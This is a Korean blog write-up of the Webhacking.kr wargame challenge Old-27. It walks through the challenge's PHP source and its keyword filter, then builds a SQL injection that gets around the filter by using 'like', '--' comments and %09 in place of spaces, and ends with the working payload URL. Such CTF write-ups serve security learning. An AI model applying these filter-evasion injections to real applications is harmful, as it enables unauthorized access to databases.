Wargame/Webhacking.kr

[Webhacking.kr] Old - 27

핏디 2021. 8. 19. 14:59
SMALL

[문제]


[풀이]

 

<?php
  
if($_GET['no']){

> get 방식으로 no 받음
  
$db dbconnect();
  if(
preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");

> 입력 값에 #, select, (, 공백, limit, = 등이 있으면 no hack 출력 후 종료
  
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");

> chall27 테이블에서 입력받은 no의 id 선택(id가 guest가 아니면 query error 출력 후 종료)
  if(
$r['id']=="guest") echo("guest");

> id가 guest면 guest 문자열 출력
  if(
$r['id']=="admin"solve(27); // admin's no = 2

> id가 admin이면 문제 해결(admin no는 2)

}
?>

 

SQL 쿼리문을 통해 생각할 수 있는 점은 입력 값 뒤에 or die("query error")가 위치하기 때문에 주석으로 없앨 수 있다는 것이다.

 

소스코드 분석 후 먼저 1을 입력해보면 guest로 로그인 된 것을 알 수 있다.

"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");

 

쿼리문에 0 or 2의 형태로 작성하여 2를 선택하도록 하고, 뒤에 주석처리를 하여 die 함수를 실행하지 않도록 하면 해결할 수 있다. 여기서 주의해야 할 점은 #과 (, =, 공백을 필터링하고 있기 때문에 이를 대체할 문자가 필요하다는 것!

 

우선은 필터링 문자를 상관하지 않고 쿼리문을 작성해보면 다음과 같다.

 

"select id from chall27 where id='guest' and no=(0) or no = (2) #")) or die("query error");

 

이렇게 작성하면 no가 0인 것이 거짓이기 때문에 no = 2의 형태만 남게 되어 admin의 id를 조회할 수 있다. 그러나 이를 그대로 입력하게 되면 no hack이 출력된다.

"select id from chall27 where id='guest' and no=(0) or no = (2) #")) or die("query error");

여기서 필터링 문자를 하나씩 대체해보면 다음과 같다.

=과 () -> like

# -> --

공백 -> %09 (get 방식으로 보내기 때문)

 

"select id from chall27 where id='guest' and no=(0) or no like 2 -- ")) or die("query error");

"select id from chall27 where id='guest' and no=(0)%09or%09no%09like%092%09--%09")) or die("query error");

* 주석처리 후에는 반드시 공백처리를 해줘야 한다!!

 

https://webhacking.kr/challenge/web-12/?no=0)%09or%09no%09like%092%09--%09 을 넣어주면 문제가 해결된다.

 

LIST

'Wargame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr - Old 25]  (0) 2021.08.19
[Webhacking.kr] Old-19  (0) 2021.08.12
[Webhacking.kr] Old-54  (0) 2021.08.11
[Webhacking.kr] Old-39  (0) 2021.08.11
[Webhacking.kr] Old 26  (0) 2021.08.04